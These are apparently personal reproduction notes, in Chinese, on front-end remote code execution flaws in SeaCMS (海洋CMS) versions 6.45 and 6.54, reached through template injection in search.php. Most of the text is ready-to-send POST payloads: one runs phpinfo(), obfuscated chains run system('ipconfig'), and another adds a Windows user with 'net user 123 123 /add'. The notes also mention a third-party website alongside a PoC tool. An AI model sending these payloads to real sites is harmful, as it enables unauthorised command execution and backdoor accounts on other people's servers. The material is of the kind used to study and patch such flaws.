Seacms漏洞

海洋CMS6.45前台getshell漏洞

前台：http://127.0.0.1/CMS/seacms_v6.4/upload/

后台：

http://127.0.0.1/CMS/seacms_v6.4/upload/admin/login.php?gotopage=%2Fseacms%28v6.53%29%2Fupload%2Fadmin%2F

复现结果：

http://127.0.0.1/CMS/seacms_v6.4/upload/search.php

post：searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

1.漏洞的触发点是在search.php 中的echoSearchPage()函数可以触发漏洞。常规的分析都是先找GET、POST的位置，在这个文件里面没有这些变量，原来是在./include/common.php里面。

海洋CMS 6.54

6.54

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

POST：：

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

命令执行：

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem(ipconfig);

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem(ipconfig);

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("net user 123 123 /add");

海洋CMS V6.55

使用cmsPoc：

http://www.70vx.com/index.php

修复了漏洞

寻找其他漏洞点

参考：

freebuf V6.54 6.55 

i春秋作者的代码审计